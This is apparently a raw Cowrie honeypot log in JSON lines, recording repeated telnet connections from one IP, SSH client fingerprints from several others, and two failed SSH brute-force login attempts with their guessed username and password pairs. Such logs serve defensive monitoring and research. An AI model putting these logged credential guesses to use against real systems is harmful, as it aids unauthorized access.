{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59344,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a79723c9866","protocol":"telnet","message":"New connection: 23.111.140.22:59344 (10.17.0.5:23) [session: 0a79723c9866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:48.131721Z"}
{"eventid":"cowrie.session.closed","duration":31.944870471954346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:48.667055Z","src_ip":"23.111.140.22","session":"cc9444d2d8cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b460b1fbcab4","protocol":"telnet","message":"New connection: 23.111.140.22:59416 (10.17.0.5:23) [session: b460b1fbcab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:48.847667Z"}
{"eventid":"cowrie.session.closed","duration":30.74622344970703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.028009Z","src_ip":"23.111.140.22","session":"d97887618660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.88737154006958,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.040653Z","src_ip":"174.138.46.234","session":"f3257346cfc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731926202774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.297941Z","src_ip":"23.111.140.22","session":"9f0b437c08eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35312,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8a83ff354ee","protocol":"telnet","message":"New connection: 23.111.140.22:35312 (10.17.0.5:23) [session: a8a83ff354ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.309216Z"}
{"eventid":"cowrie.session.closed","duration":34.360527992248535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.345638Z","src_ip":"23.111.140.22","session":"f6e2c1c68c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52950,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf24d1dedd9","protocol":"telnet","message":"New connection: 23.111.140.22:52950 (10.17.0.5:23) [session: 0cf24d1dedd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.635212Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37262,"dst_ip":"10.17.0.5","dst_port":23,"session":"834096107b37","protocol":"telnet","message":"New connection: 23.111.140.22:37262 (10.17.0.5:23) [session: 834096107b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:49.943342Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"602f1bce82e9","protocol":"telnet","message":"New connection: 23.111.140.22:38390 (10.17.0.5:23) [session: 602f1bce82e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.319985Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36024,"dst_ip":"10.17.0.5","dst_port":23,"session":"067d5a9cebaa","protocol":"telnet","message":"New connection: 23.111.140.22:36024 (10.17.0.5:23) [session: 067d5a9cebaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.528100Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58788,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33424a81602","protocol":"telnet","message":"New connection: 23.111.140.22:58788 (10.17.0.5:23) [session: d33424a81602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.673080Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39820,"dst_ip":"10.17.0.5","dst_port":23,"session":"1feef770c926","protocol":"telnet","message":"New connection: 23.111.140.22:39820 (10.17.0.5:23) [session: 1feef770c926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.770199Z"}
{"eventid":"cowrie.session.closed","duration":31.75183081626892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.799268Z","src_ip":"23.111.140.22","session":"6cf5c1dfe7ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36774,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1abbd1daf8b","protocol":"telnet","message":"New connection: 23.111.140.22:36774 (10.17.0.5:23) [session: a1abbd1daf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.813024Z"}
{"eventid":"cowrie.session.closed","duration":31.078263759613037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.977132Z","src_ip":"23.111.140.22","session":"63673b8bec34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c4f4e7bfaf","protocol":"telnet","message":"New connection: 23.111.140.22:40574 (10.17.0.5:23) [session: a8c4f4e7bfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:50.988688Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3430b2844b4","protocol":"telnet","message":"New connection: 23.111.140.22:37826 (10.17.0.5:23) [session: d3430b2844b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.106112Z"}
{"eventid":"cowrie.session.closed","duration":33.117992877960205,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.154233Z","src_ip":"23.111.140.22","session":"529bfa9edf90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ba59fb0949","protocol":"telnet","message":"New connection: 23.111.140.22:38138 (10.17.0.5:23) [session: 13ba59fb0949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.235658Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38396,"dst_ip":"10.17.0.5","dst_port":23,"session":"804c115f5e38","protocol":"telnet","message":"New connection: 23.111.140.22:38396 (10.17.0.5:23) [session: 804c115f5e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.321858Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e4a527ab7d","protocol":"telnet","message":"New connection: 23.111.140.22:41838 (10.17.0.5:23) [session: e6e4a527ab7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.426955Z"}
{"eventid":"cowrie.session.closed","duration":31.438278436660767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.464597Z","src_ip":"23.111.140.22","session":"b5af6b85f514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74496603012085,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.877412Z","src_ip":"23.111.140.22","session":"d4a390b67913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b862efb70bb","protocol":"telnet","message":"New connection: 23.111.140.22:40294 (10.17.0.5:23) [session: 3b862efb70bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.907122Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3e2f03b00b","protocol":"telnet","message":"New connection: 23.111.140.22:43574 (10.17.0.5:23) [session: 4e3e2f03b00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:51.969050Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":37308,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb5d96a1d481","protocol":"ssh","message":"New connection: 135.235.138.43:37308 (10.17.0.5:22) [session: cb5d96a1d481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:52.045809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:52.052623Z","src_ip":"135.235.138.43","session":"cb5d96a1d481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:52.240914Z","src_ip":"135.235.138.43","session":"cb5d96a1d481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43056,"dst_ip":"10.17.0.5","dst_port":23,"session":"be894009ef46","protocol":"telnet","message":"New connection: 23.111.140.22:43056 (10.17.0.5:23) [session: be894009ef46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:52.820874Z"}
{"eventid":"cowrie.session.closed","duration":33.486414194107056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:52.985466Z","src_ip":"23.111.140.22","session":"b20925a0c70b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sftpadmin","password":"sftpadmin123","message":"login attempt [sftpadmin/sftpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:53.029214Z","src_ip":"135.235.138.43","session":"cb5d96a1d481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.22490048408508,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:53.334156Z","src_ip":"23.111.140.22","session":"ba1438ae2e42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48044,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca996408b527","protocol":"telnet","message":"New connection: 23.111.140.22:48044 (10.17.0.5:23) [session: ca996408b527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:53.357132Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42766,"dst_ip":"10.17.0.5","dst_port":23,"session":"262abca61f3f","protocol":"telnet","message":"New connection: 23.111.140.22:42766 (10.17.0.5:23) [session: 262abca61f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:53.731685Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50584,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36be605320f","protocol":"telnet","message":"New connection: 23.111.140.22:50584 (10.17.0.5:23) [session: a36be605320f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:54.130539Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:54.220365Z","src_ip":"135.235.138.43","session":"cb5d96a1d481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36746525764465,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:54.898826Z","src_ip":"23.111.140.22","session":"d3e1f7844af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.611314296722412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:55.142913Z","src_ip":"23.111.140.22","session":"efb6063fb9f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26901888847351,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:55.312410Z","src_ip":"23.111.140.22","session":"8ae4a46d779f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290629148483276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:55.709275Z","src_ip":"23.111.140.22","session":"456a3fa7e011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.835516929626465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:55.982879Z","src_ip":"23.111.140.22","session":"993c546a0bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53594,"dst_ip":"10.17.0.5","dst_port":23,"session":"880c72cbc1b0","protocol":"telnet","message":"New connection: 23.111.140.22:53594 (10.17.0.5:23) [session: 880c72cbc1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:56.075027Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"52248265d41b","protocol":"telnet","message":"New connection: 23.111.140.22:37818 (10.17.0.5:23) [session: 52248265d41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:56.130368Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56778,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8fdb299e3a9","protocol":"telnet","message":"New connection: 23.111.140.22:56778 (10.17.0.5:23) [session: a8fdb299e3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:56.147362Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57428,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e571f86e5c4","protocol":"telnet","message":"New connection: 23.111.140.22:57428 (10.17.0.5:23) [session: 0e571f86e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:56.387685Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58672,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6bcdb4065f1","protocol":"telnet","message":"New connection: 23.111.140.22:58672 (10.17.0.5:23) [session: f6bcdb4065f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:56.835405Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60242,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b513c0d34dd","protocol":"telnet","message":"New connection: 23.111.140.22:60242 (10.17.0.5:23) [session: 3b513c0d34dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:57.408412Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60782,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ca5299b6c1","protocol":"telnet","message":"New connection: 23.111.140.22:60782 (10.17.0.5:23) [session: 52ca5299b6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:57.577449Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60558,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb807c55af4a","protocol":"telnet","message":"New connection: 23.111.140.22:60558 (10.17.0.5:23) [session: fb807c55af4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:58.501220Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":44396,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b7f82dadd38","protocol":"ssh","message":"New connection: 59.17.95.129:44396 (10.17.0.5:22) [session: 8b7f82dadd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:58.628128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:58.633746Z","src_ip":"59.17.95.129","session":"8b7f82dadd38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:58.839919Z","src_ip":"59.17.95.129","session":"8b7f82dadd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.818849325180054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:59.477636Z","src_ip":"23.111.140.22","session":"a8708858ca14","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"9ol.0p;/","message":"login attempt [root/9ol.0p;/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:59.699198Z","src_ip":"59.17.95.129","session":"8b7f82dadd38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5294b46fb2d","protocol":"telnet","message":"New connection: 23.111.140.22:37238 (10.17.0.5:23) [session: f5294b46fb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:00.110500Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38408,"dst_ip":"10.17.0.5","dst_port":23,"session":"7243ca90566c","protocol":"telnet","message":"New connection: 23.111.140.22:38408 (10.17.0.5:23) [session: 7243ca90566c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:00.541180Z"}
{"eventid":"cowrie.session.closed","duration":34.226104974746704,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:00.789787Z","src_ip":"23.111.140.22","session":"187356fea232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:00.907624Z","src_ip":"59.17.95.129","session":"8b7f82dadd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.672155380249023,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:01.139654Z","src_ip":"23.111.140.22","session":"fd3671d45ba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":56696,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc5b348ccb3","protocol":"ssh","message":"New connection: 202.145.0.61:56696 (10.17.0.5:22) [session: 5bc5b348ccb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:01.729898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:01.734839Z","src_ip":"202.145.0.61","session":"5bc5b348ccb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:02.001352Z","src_ip":"202.145.0.61","session":"5bc5b348ccb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48300,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d68957c34a","protocol":"telnet","message":"New connection: 23.111.140.22:48300 (10.17.0.5:23) [session: 33d68957c34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:02.934627Z"}
